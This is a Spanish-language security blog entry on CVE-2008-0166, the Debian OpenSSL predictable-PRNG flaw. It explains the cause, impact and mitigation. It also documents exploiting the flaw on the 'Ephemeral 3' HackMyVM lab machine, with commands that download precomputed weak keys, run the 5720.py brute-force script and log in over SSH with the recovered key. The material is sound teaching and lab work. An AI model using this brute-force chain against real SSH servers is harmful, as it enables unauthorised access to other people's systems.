cd ~/blog

~/vulns/debian-openssl-predictable-prng-cve-2008-0166.md

Debian OpenSSL Predictable PRNG (CVE-2008-0166)

miscautor: Jordy Pérez Osorio aviso legal
OpenSSLSSHcrypto

~2 min de lectura


1. Descripción técnica

CVE-2008-0166 es un fallo introducido por un parche de Debian en el paquete OpenSSL. Entre 2006 y 2008 se eliminaron, para silenciar un aviso de Valgrind, operaciones que contribuían al estado del Pseudo-Random Number Generator (PRNG) de OpenSSL.

Como consecuencia, la única fuente de aleatoriedad que quedaba era el PID del proceso (máximo 32.768 valores). Esto significa que todas las claves criptográficas generadas en sistemas Debian/Ubuntu afectados (claves SSH, certificados SSL/TLS, claves OpenVPN, etc.) provienen de un conjunto reducido y predecible: solo existen ~32.768 claves posibles por tipo/tamaño y arquitectura.

Un atacante puede precomputar todas las claves posibles y, dado una clave pública (o el acceso a un servicio que la use), encontrar la clave privada correspondiente por fuerza bruta en segundos.

2. Impacto

  • Compromiso de claves SSH: si un servidor confía en una clave pública generada en un sistema vulnerable, el atacante recupera la privada y se autentica.
  • Compromiso de certificados TLS, claves OpenVPN, etc. generados en el periodo afectado.
  • Impacto masivo en su momento: millones de claves quedaron comprometidas y debieron regenerarse.

3. Historia y evolución

  • El patch defectuoso se introdujo en septiembre de 2006 y pasó desapercibido hasta mayo de 2008, cuando se publicó CVE-2008-0166 (DSA-1571).
  • Se publicaron listas precomputadas de todas las claves débiles (los "blacklists") y exploits como el 5720.py del equipo WarCat.
  • Es un caso de estudio clásico sobre los peligros de modificar código criptográfico y sobre la importancia de la entropía.

4. Condiciones necesarias

  1. Claves generadas en un Debian/Ubuntu vulnerable (OpenSSL 0.9.8c-1 a 0.9.8g-9) entre 2006-2008.
  2. Que esas claves sigan en uso (no regeneradas tras el parche).
  3. Acceso del atacante a la clave pública o a un servicio que la acepte.

5. Validación y detección

  • Identificar el contexto: una pista (p. ej. una nota mencionando que las claves se generaron con OpenSSL) o servicios SSH antiguos.
  • Buscar el exploit y las claves precomputadas:
searchsploit openssl ssh
# OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5720.py
  • Descargar el set de claves precomputadas (5622.tar.bz2) y probar contra el servicio.

6. Mitigación

  1. Regenerar todas las claves (SSH, TLS, etc.) generadas en sistemas afectados, con una versión parcheada de OpenSSL.
  2. Revocar y reemitir certificados comprometidos.
  3. Mantener OpenSSL actualizado y nunca modificar el código de entropía.

7. Explotación documentada en los writeups

7.1. 066-ephemeral_3

Máquina Ephemeral 3 de HMV. Con las claves precomputadas, fuerza bruta de la clave privada SSH del usuario randy:

❯ wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
❯ tar -xvf 5622.tar.bz2

❯ python2 5720.py rsa/2048/ 192.168.1.33 randy 22 5
-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
...
Key Found in file: 0028ca6d22c68ed0a1e3f6f79573100a-31671
Execute: ssh -lrandy -p22 -i rsa/2048//0028ca6d22c68ed0a1e3f6f79573100a-31671 192.168.1.33

❯ ssh randy@192.168.1.33 -i rsa/2048/0028ca6d22c68ed0a1e3f6f79573100a-31671
randy@ephemeral:~$

8. Clasificación

  • Tipo: Insufficient Entropy / Use of Cryptographically Weak PRNG
  • CVE: CVE-2008-0166
  • CWE:
    • CWE-330 – Use of Insufficiently Random Values
    • CWE-338 – Use of Cryptographically Weak PRNG

9. Referencias y conexiones

// relacionados